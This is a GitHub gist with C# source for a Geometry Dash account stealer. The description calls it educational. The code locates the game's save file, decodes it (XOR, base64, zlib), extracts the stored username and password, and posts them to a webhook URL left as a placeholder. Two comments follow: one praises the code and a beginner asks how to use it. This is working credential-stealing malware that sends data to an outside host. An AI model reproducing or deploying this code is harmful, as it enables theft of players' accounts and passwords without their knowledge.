Skip to content

Instantly share code, notes, and snippets.

@Eimaen
Created November 21, 2022 23:37
Show Gist options
  • Save Eimaen/b35d95969067250b7c77ea08a50893cf to your computer and use it in GitHub Desktop.
Save Eimaen/b35d95969067250b7c77ea08a50893cf to your computer and use it in GitHub Desktop.
Simple Geometry Dash account stealer (educational purposes only, created for others to be aware of their almost-plaintext-stored passwords being stolen)
using System;
using System.Collections.Specialized;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
namespace GDStealer
{
internal class Program
{
public static byte[] XorByteArray(byte[] bytes, int key)
{
for (int i = 0; i < bytes.Length; i++)
bytes[i] = (byte)(bytes[i] ^ key);
return bytes;
}
public static byte[] ZLibDecrypt(byte[] bytes)
{
var streamIn = new MemoryStream(bytes);
var streamOut = new MemoryStream();
var decompressor = new DeflateStream(streamIn, CompressionMode.Decompress);
byte[] buffer = new byte[4096];
while (true)
{
int bytesRead = decompressor.Read(buffer, 0, 4096);
if (bytesRead == 0)
break;
streamOut.Write(buffer, 0, bytesRead);
}
return streamOut.ToArray();
}
public static string ByteArrayToString(byte[] bytes) => Encoding.Default.GetString(bytes);
public static byte[] SafeBase64StringDecode(string base64)
{
base64 = base64.Replace('-', '+').Replace('_', '/');
return Convert.FromBase64String(base64);
}
static readonly string WebhookUrl = "WEBHOOK URL HERE";
static void Main(string[] args)
{
string gdGameDataPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "GeometryDash", "CCGameManager.dat");
if (!File.Exists(gdGameDataPath))
return;
Regex loginPasswordRegex = new Regex("GJA_002<\\/k><s>(.*?)<\\/s>.*GJA_001<\\/k><s>(.*?)<\\/s>");
Match loginPasswordMatch = loginPasswordRegex.Match(ByteArrayToString(ZLibDecrypt(SafeBase64StringDecode(ByteArrayToString(XorByteArray(File.ReadAllBytes(gdGameDataPath), 11))).Skip(10).ToArray())));
if (loginPasswordMatch.Success)
{
string username = loginPasswordMatch.Groups[2].Value;
string password = loginPasswordMatch.Groups[1].Value;
Console.WriteLine($"Username: {username}\nPassword: {password}");
NameValueCollection data = new NameValueCollection
{
{ "username", "GDStealer (C#)" },
{ "avatar_url", "https://pl.touhouwiki.net/images/thumb/2/25/Th075reimu01.png/256px-Th075reimu01.png" },
{ "content", $"Username: `{username}`\nPassword: `{password}`" }
};
new WebClient().UploadValues(WebhookUrl, data);
}
}
}
}
@Eyx4
Copy link

Eyx4 commented Feb 29, 2024

This is pretty nice

@Zerokxs
Copy link

Zerokxs commented Apr 28, 2024

How do I use it? sorry I'm new

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment